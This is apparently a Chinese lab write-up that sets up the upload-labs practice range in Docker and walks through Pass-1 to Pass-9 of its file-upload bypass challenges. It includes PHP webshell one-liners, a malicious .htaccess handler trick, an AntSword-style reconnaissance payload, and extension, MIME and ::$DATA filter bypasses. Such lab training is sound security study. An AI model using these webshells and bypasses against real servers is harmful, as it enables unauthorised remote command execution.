一、使用dokcer搭建upload-labs环境
(1)终端输入相关命令拉取镜像:docker pull c0ny1/upload-labs
或者docker pull cuer/upload-labs
![](https://img-blog.csdnimg.cn/img_convert/f89fe09ff1c17dd5b3eafe9649b1992d.png)
(2)可以使用相关命令查看镜像:docker images
![](https://img-blog.csdnimg.cn/img_convert/183cd691b958d843edf77d1c160a1739.png)
(3)①运行镜像,生成容器:docker run -d -p:91:80 aa4
②浏览器网址栏输入:ip:端口号,进入靶场。
![](https://img-blog.csdnimg.cn/img_convert/51b11a6f6140d39fa9ce835b7f266895.png)
(4)这样直接上传图片文件会报“提示:../upload文件夹不存在,请手工创建! ”,创建如下:
①进入容器:docker exec -it [进程id前三位] /bin/bash
②创建文件:mkdir upload
![](https://img-blog.csdnimg.cn/img_convert/91c8f4d5eb7a78d0536a7a7add3712b2.png)
二、复现upload-labs漏洞
具体的文件上传防御措施and绕过方法,看另一篇博客。
(1)Pass-1 (Javascript 前端检查)
1、判断本关文件上传检测方式
①显示源码
![](https://img-blog.csdnimg.cn/img_convert/98bda18ee26fb2c8f923951e633b6658.png)
②查看提示
![](https://img-blog.csdnimg.cn/img_convert/49fbb9d8d3051ed49a5ee56fb1a5727d.png)
得出结论为JS前端检测。
2、针对防御措施进行绕过上传
通过JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过:
①修改JS文件;
②上传png后缀的webshell,代理抓包,修改上传的文件后缀 (推荐);
③禁用js。
3、靶机实战
①这里使用“修改js文件”
右键-查看元素,查看器中找到“οnsubmit="return checkFile()"”删除其值。
此时就可以上传.php文件。
![](https://img-blog.csdnimg.cn/img_convert/7f28e3a445545406b8863f3b8080acfe.png)
②通过木马文件就可以进入后台。
![](https://img-blog.csdnimg.cn/img_convert/1d4ff405aaa9febd0c265d5bcb06a10a.png)
(2)Pass-2 文件类型检查有缺陷
1、判断本关文件上传检测方式
2、针对防御措施进行绕过上传
对文件类型检查有缺陷-检查Content-Type标头是否与MIME 类型匹配。
绕过方式:
①上传webshell.php 内容为:<?php @system($_GET['cmd']); ?>;
②抓包修改上传的Content-Type 类型为允许的类型 image/jpeg;
③放包,收到成功上传;
④复制文件上传的路径,请求GET /upload/upload/webshell.php?cmd=whoami。
3、靶机实战
①
上传webshell.php 内容为:<?php @system($_GET['cmd']); ?>;
抓包修改上传的Content-Type 类型为允许的类型 image/jpeg;
放包,收到成功上传。
![](https://img-blog.csdnimg.cn/img_convert/6bf5cd66ecf7ea1df3fb80880f0b74f4.png)
![](https://img-blog.csdnimg.cn/img_convert/ac5ea63c16ce4524f2deb29bb1fae1f2.png)
(3)Pass-3 黑名单限制不完全
1、判断本关文件上传检测方式
2、针对防御措施进行绕过上传
对于黑名单限制上传文件后缀的可以通过以下几种方式绕过:
①通过使用可被执行但不常见的后缀名,比如php5,shtml等等;
②上传恶意的配置文件(Apache .htaccess) 欺骗服务器将任意自定义文件扩展名映射到可知执行的③MIME类型;
④利用后端解析差异绕过限制。
3、靶机实战
①
上传 webshell.php3 内容为:<?php @system($_GET['cmd']); ?>;
复制文件上传的路径,请求 GET /upload/upload/20200304.php5?cmd=whoami。
![](https://img-blog.csdnimg.cn/img_convert/da973173e425551f960a3d9f7982a696.png)
![](https://img-blog.csdnimg.cn/img_convert/aeb11332b440b8c4bf1ede8acd7f605c.png)
(4)Pass-4
判断本关文件上传检测方式
①分析源码,黑名单包括了几乎所有php后缀文件,但是并没有屏蔽后缀为.htaccess的文件上传。
![](https://img-blog.csdnimg.cn/img_convert/999a52ec03e61c8052df81671138fa7e.png)
②首先上传.htaccecc(此文件不要起名字,就是无标题文件)。
<FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch>
在上述配置中,FilesMatch表示匹配4.png的文件,当该文件名匹配成功后,SetHandler表示将该文件作为PHP类型的文件来进行处置。
③然后上传含有一句话木马的4.png文件。
ant=@ini_set("display_errors", "0");@set_time_limit(0);echo "3e231";$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;echo "8e51f";die();
④使用远程工具连接。
(5)Pass-5
①观察源码,具有强大的黑名单列表且屏蔽了后缀.htaccess文件上传,并且将后缀名自动转化为小写。
![](https://img-blog.csdnimg.cn/img_convert/bcbdefdd562554b83139d0e16e6042da.png)
②在文件后缀命中输入一个空格,此空格在上传完成后会自动消失。如5.p hp
<?php eval($_REQUEST[123])?>
密码:123
![](https://img-blog.csdnimg.cn/img_convert/40a855b12a734c4021f892f63757b453.png)
③使用远程工具连接。
(6)Pass-6
①分析代码,使用了黑名单,但并没有自动转换大小写,可将文件后缀改为大小写混合绕过
![](https://img-blog.csdnimg.cn/img_convert/6dd2ae2732d42835df351b9b4a4b628d.png)
②修改木马文件名为:6.pHP
③上传成功,复制图片url地址。使用远程工具连接。
(7)Pass-7
①查看源码,没有屏蔽空格。
![](https://img-blog.csdnimg.cn/img_convert/bec472910a32b249e7a285d88ac6f8ce.png)
②在文件后缀前加空格7. pHP进行上传,上传成功,复制图片url地址。
③使用远程工具连接
![](https://img-blog.csdnimg.cn/img_convert/0b82989173fbee6f38a110945a648c33.png)
(8)Pass-8
①查看源码,上传文件未进行文件后缀中.的屏蔽。
![](https://img-blog.csdnimg.cn/img_convert/65446648c2d7385e3810d542b750edd4.png)
②在文件后缀中加.符号,如8.ph.p,进行上传,成功后复制图片url地址
③使用远程工具连接
(9)Pass-9
①观察源码,没有对文件后缀的特殊字符进行处理。
![](https://img-blog.csdnimg.cn/img_convert/84e3a908ee0ad427dcc05bc1fa5c476e.png)
②上传9.php文件并用burpsuite进行抓包,在文件名后缀后加上特殊字符::$DATA进行特殊字符绕过。
![](https://img-blog.csdnimg.cn/img_convert/339b6aeb82481fd89ef6a2f8f4b204d4.png)
③放行后,成功上传文件,复制url地址。
在网页中打开url连接,可验证文件已经成功上传。